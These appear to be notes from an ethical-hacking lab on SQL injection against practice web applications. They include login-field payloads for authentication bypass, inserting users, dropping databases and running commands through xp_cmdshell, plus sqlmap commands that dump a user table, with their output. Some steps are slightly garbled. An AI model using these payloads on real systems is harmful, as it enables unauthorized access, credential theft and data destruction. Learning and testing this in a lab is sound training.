Objectives

Understanding	Performing	Extracting	Detecting
Understanding when and how web applications connect to a database server in order to access data	Performing a SQL injection attack on a MSSQL database	Extracting basic SQL injection flaws and vulnerabilities	Detecting SQL injection vulnerabilities

Overview of SQL Injection

In-band SQL injection: An attacker uses the same communication channel to perform the attack and retrieve the results

Blind/inferential SQL injection: An attacker has no error messages from the system with which to work, but rather simply sends a malicious SQL query to the database

Out-of-band SQL injection: An attacker uses different communication channels (such as database email functionality, or file writing and loading functions) to perform the attack and obtain the results

Tasks:

Perform

Perform SQL injection attacks

- Perform an SQL injection attack on an MSSQL database
- Perform an SQL injection attack against MSSQL to extract databases using sqlmap

Detect

Detect SQL injection vulnerabilities using various SQL injection detection tools

- Detect SQL injection vulnerabilities using DSSS
- Detect SQL injection vulnerabilities using OWASP ZAP

Task 1: Perform an SQL Injection Attack on an MSSQL Database

On Web application Goodshopping.com :

Username field, type the query **blah' or 1=1 --** as your login name, and leave the password field empty

Click **LOGIN** on the menu bar and type the query **blah';insert into login values ('john','apple123'); --** in the **Username** field.

LOGIN on the menu bar and type the query **blah';create database mydatabase; --** in the **Username** field

Click **LOGIN** on the menu bar and type the query **blah'; DROP DATABASE mydatabase; --** in th

Click **LOGIN** on the menu bar and type the query **blah';exec master..xp_cmdshell 'ping www.certifiedhacker.com -l 65000 -t'; --** in the **Username** fielde **Username** field

Task 2:

- Perform an SQL Injection Attack Against MSSQL to Extract Databases using sqlmap

Task 2: Perform an SQL Injection Attack Against MSSQL to Extract Databases using sqlmap

- **Enumerate the DBMS databases**
- **sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="[cookie value]" –dbs**
- sqlmap retrieves the databases present in the MSSQL server. It also displays information about the web server OS, web application technology, and the backend DBMS,

Retrieve Table Contents

- **sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="[cookie value]" -D moviescope –tables**
- retrieves the table contents of the moviescope database and displays them

```
Database: moviescope
[11 tables]
+----------------+
| Comments       |
| CustomerLogin  |
| Movie_Details  |
| Offices        |
| OrderDetails   |
| OrderDetails1  |
| Orders         |
| Orders1        |
| User_Login     |
| User_Profile   |
| tblContact     |
+----------------+
```

Retreive User logins

- **sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="[cookie value which you have copied in Step 8]" -D moviescope -T User_Login –dump**

```
Table: User_Login
[5 entries]
+-----+-------+----------+
| Uid | Uname | isAdmin  |
+-----+-------+----------+
| 1   | sam   | True     |
| 2   | john  | True     |
| 3   | kety  | NULL     |
| 4   | steve | NULL     |
| 5   | lee   | NULL     |
+-----+-------+----------+
```

sqlmap retrieves the complete **User_Login** table data from the database moviescope, containing all users' usernames under the **Uname** column and passwords under the **password** column